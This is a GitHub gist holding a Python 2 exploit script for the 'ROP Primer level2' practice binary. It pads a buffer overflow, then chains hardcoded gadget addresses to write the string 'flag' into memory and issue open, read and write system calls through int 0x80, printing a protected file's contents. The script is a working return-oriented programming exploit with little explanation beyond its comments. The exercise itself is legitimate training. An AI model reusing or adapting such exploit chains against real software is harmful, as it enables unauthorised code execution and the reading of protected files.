Skip to content

Instantly share code, notes, and snippets.

@rverton
Created November 4, 2016 19:14
Show Gist options
  • Save rverton/42340ee4bd3482c6262db2bc9bbb9ef5 to your computer and use it in GitHub Desktop.
Save rverton/42340ee4bd3482c6262db2bc9bbb9ef5 to your computer and use it in GitHub Desktop.
ROP Primer level2 - open, read and print flag file
import struct
def p(value):
return struct.pack('<L', value);
writeable_buffer = 0x080ca004
open_addr = 0x80515f0
read_addr = 0x80516a0
write_addr = 0x8051700
pop_eax = 0x080a81d6
pop_edx = 0x08052476
pop_ebx = 0x0805249e
pop_ecx_pop_ebx = 0x0805249d
inc_eax = 0x0806a2ef
inc_ebx = 0x08082cb0 # inc ebx; or al, -0x15; ret
inc_ecx = 0x08083c16 # inc ecx; adc al, 0x39; ret
mov_eax_edx = 0x08083d68 # mov [eax], edx; pop ebx; pop ebp; ret
mov_edx_eax = 0x08078e71
xor_eax_eax = 0x08097a7f
popret = 0x8048560
pop2ret = 0x8048893
pop3ret = 0x8048892
int_0x80 = 0x08052ba0
payload = ''
payload += 'A'*44
# 1/ put "flag" in memory
payload += p(pop_eax)
payload += p(writeable_buffer)
payload += p(pop_edx)
payload += 'flag'
payload += p(mov_eax_edx)
payload += 'AAAA' # dummy for pop ebx
payload += 'AAAA' # dummy for pop ebp
# Null-terminate flag string
payload += p(xor_eax_eax)
payload += p(pop_edx)
payload += p(writeable_buffer+0x4)
payload += p(mov_edx_eax)
# 2/ open file
# open(pathname, flags)
# eax = 0x05, ebx = filename, ecx = flags
payload += p(pop_ecx_pop_ebx)
payload += p(0xffffffff) # ecx = -1
payload += p(writeable_buffer) # ebx = buffer
payload += p(inc_ecx) # ebx = 0
payload += p(xor_eax_eax)
payload += p(inc_eax) # eax = 1
payload += p(inc_eax) # eax = 2
payload += p(inc_eax) # eax = 3
payload += p(inc_eax) # eax = 4
payload += p(inc_eax) # eax = 5
payload += p(int_0x80) # GO!
# 3/ read(fd, addr, count)
# eax = 0x03, ebx = fd, ecx = writeable_buffer, edx = count
payload += p(pop_ecx_pop_ebx)
payload += p(writeable_buffer) # ecx
payload += p(0xffffffff) # ebx = -1
payload += p(inc_ebx) # ebx = 0
payload += p(inc_ebx) # ebx = 1
payload += p(inc_ebx) # ebx = 2
payload += p(inc_ebx) # ebx = 3
payload += p(xor_eax_eax)
payload += p(inc_eax) # eax = 1
payload += p(inc_eax) # eax = 2
payload += p(inc_eax) # eax = 3
payload += p(pop_edx)
payload += p(0x01010101) # no null bytes
payload += p(int_0x80) # GO!
# 4/ write(fd, addr, count) to STDOUT
# eax = 0x04, ebx = fd, ecx = writeable_buffer, edx = count
payload += p(pop_ecx_pop_ebx)
payload += p(writeable_buffer) # ecx
payload += p(0xffffffff) # ebx = -1
payload += p(inc_ebx) # ebx = 0
payload += p(inc_ebx) # ebx = 1
payload += p(xor_eax_eax)
payload += p(inc_eax) # eax = 1
payload += p(inc_eax) # eax = 2
payload += p(inc_eax) # eax = 3
payload += p(inc_eax) # eax = 4
payload += p(pop_edx)
payload += p(0x01010101) # no null bytes
payload += p(int_0x80) # GO!
payload += 'BBBB' # just crash here
print payload
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment